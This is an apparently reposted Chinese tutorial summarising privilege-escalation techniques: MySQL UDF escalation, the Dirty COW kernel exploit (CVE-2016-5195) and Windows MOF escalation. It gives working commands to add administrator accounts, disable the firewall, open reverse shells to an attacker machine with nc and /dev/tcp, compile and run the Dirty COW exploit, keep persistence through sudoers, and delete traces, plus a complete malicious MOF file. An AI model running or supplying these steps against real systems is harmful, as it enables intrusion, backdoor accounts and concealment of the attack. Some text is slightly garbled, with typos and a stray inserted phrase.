加入收藏 | 设为首页 | 会员中心 | 我要投稿 PHP编程网 - 钦州站长网 (https://www.0777zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MySql教程 > 正文

对Linux提权的简单总结[中]

发布时间:2023-02-03 15:12:50 所属栏目:MySql教程 来源:
导读:  前言

  先把前辈们的以前的干货理解透

  udf提权

  经典提权漏洞,每次面试必问。

  原理

  UDF简称为User Defined Function,为用户自定义函数。udf提权为创建自定义函数(sys_ev
  前言
 
  先把前辈们的以前的干货理解透
 
  udf提权
 
  经典提权漏洞,每次面试必问。
 
  原理
 
  UDF简称为User Defined Function,为用户自定义函数。udf提权为创建自定义函数(sys_eval),在mysql调用这个自定义函数,获取对方主机的system的shell权限。简单来说就是把提权脚本放到对方mysql指定的目录下,创建自定义函数,获得shell权限。
 
  1.Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
 
  2.Mysql版本小于5.1版本: udf.dll文件在3.Windows2003下放置于c:\windows\system32,
 
  4.在windows2000下放置于c:\winnt\system32。
 
  如果目录不存在则可以利用webshell创建目录即可。
 
  提权条件
 
  1、获取到对方mysql的shell,或者是获取到mysql账号密码,能够调用mysql语句
 
  2、对方mysql具有insert和delete权限,也就是可写可删除添加能够创建目录,写入文件。
 
  show global variables like 'secure%';
 
  当secure_file_priv为空可以写入
 
  为NULL不可写入
 
  指定路径可以写入
 
  查看主机架构和操作系统
 
  show variables like '%compile%';
 
  确认mysql目录结构和plugin目录结构
 
  show variables like 'plugin%'; #查找具体目录 select @@basedir;#查看mysql目录
 
  步骤
 
  1.Webshell把文件放plugin目录,使用mysql终端,创建自定义函数
 
  create function sys_eval returns string soname ‘udf.dll’;
 
  select sys_eval('whoami');
  select cmdshell(‘net user hsy 123456 /add’); #添加用户
  select cmdshell(‘net localgroup administrators hsy /add’); #将用户加到管理组
  drop function sys_eval; #删除函数
  DROP TABLE data; //为了删除痕迹,把刚刚新建的data表删掉
  脏牛提权原理
 
  CVE-2016-5195 即dirtyCOW,俗称「脏牛」漏洞,是 Linux Kernel 中的条件竞争漏洞,攻击者可以利用 Linux kernel 中的 COW(Copy-on-Write)技术中存在的逻辑漏洞完成对文件的越权读写。
 
  由于get_user_page内核函数在处理Copy-on-Write的过程中mysql提权,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
 
  漏洞危害
 
  低权限用户利用脏牛漏洞可在Linux系统实现本地提权漏洞。
 
  影响范围
 
  Centos7/RHEL7     3.10.0-327.36.3.el7
  Cetnos6/RHEL6     2.6.32-642.6.2.el6
  Ubuntu 16.10      4.8.0-26.28
  Ubuntu 16.04      4.4.0-45.66
  Ubuntu 14.04      3.13.0-100.147
  Debian 8          3.16.36-1+deb8u2
  Debian 7          3.2.82-1
  步骤
 
  先看一下centos7的版本环境
 
  uname -a
 
  可以发现是在上述漏洞范围之类
 
  进行环境搭建
 
  yum -y insall http php //下载http、php
  service httpd start //开启httpd服务
  sudo systemctl stop firewalld  //关闭防火墙
  /sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT //开启80端口
  测试phpinfo写入/var/www/html里面
 
  echo "" > /var/www/html/shell.php
  1Q2xg.png
 
  连接蚁剑,查看权限,只有apache的权限
 
  上传脏牛提权exp,上传到/tmp可读可写的文件夹,exp地址
 
  1Q8fs.png
 
  反弹shell到kali
 
  kali:nc -lvvp 1234
  靶机:
   nc  攻击机ip 1234 -e /bin/sh  (目标主机上有nc)
   bash -i >& /dev/tcp/攻击机ip/1234 0>&1  (目标主机上没有nc)
  使用python切换完全交互shell
 
  python -c 'import pty;pty.spawn("/bin/sh")'
  编译EXP
 
  gcc -pthread dirty.c -o dirty -lcrypt
  生成dirty文件,进行提权。并生成一个管理员账号:账号名firefart和密码为test。
 
  ./dirty 密码
  获得备份密码
 
  1QuBK.png
 
  执行成功获得以下命令,再通过cat /etc/passwd是否存在firefart账号,不存在则无脏牛漏洞
 
  1QIZa.png
 
  进行权限维持,如找到一台主机存在脏牛漏洞的话,切换到firefart临时超级管理员后
 
  adduser l3ife //添加普通用户
  passwd l3ife //改密码
  vim /etc/sudoers,在root下面一行添加
      root ALL=(ALL) ALL
   qaz ALL=(ALL) ALL
  给l3ife超级管理员权限~~~~
  mof提权原理
 
  继udf提权后,mof提权由于Windows系统下(C:/windows/system32/wbem/mof/nullevt.mof),存在一个mof文件,特点是以system权限自动运行文件内脚本,mof提权将我们写好的mof文件导入该目录文件里,自动执行我们语句。
 
  提权条件
 
  1、获取mysql的shell或者获取mysql账号密码
 
  2、目录可读写
 
  3、mysql具有insert和delete权限,可写可删除能创建目录,写入文件
 
  进行查看写入路径
 
  show global variables like '%secure%';
 
  1GZyI.png
 
  为空则可以写入文件
 
  步骤
 
  把mof文件路径写入
 
  select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
  mof文件如下
 
  #pragma namespace("\\\\.\\root\\subscription")
      instance of __EventFilter as $EventFilter
  {
      EventNamespace = "Root\\Cimv2";
      Name = "filtP2";
      Query = "Select * From __InstanceModificationEvent "
      "Where TargetInstance Isa \"Win32_LocalTime\" "
      "And TargetInstance.Second = 5";
      QueryLanguage = "WQL";
  };~~~~
  instance of ActiveScriptEventConsumer as $Consumer
  {
      Name = "consPCSV2";
      ScriptingEngine = "JScript";
      ScriptText =
  "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user aaa 123456 /add\")";
  };
      instance of __FilterToConsumerBinding
  {
  Consumer = $Consumer;
  Filter = $EventFilter;
  };
  1GvsD.png
 
  执行完毕替换net user hsy 123456 /add换为
  net localgroup administrators hsy/add 即可将用户提升管理员权限
 

(编辑:PHP编程网 - 钦州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!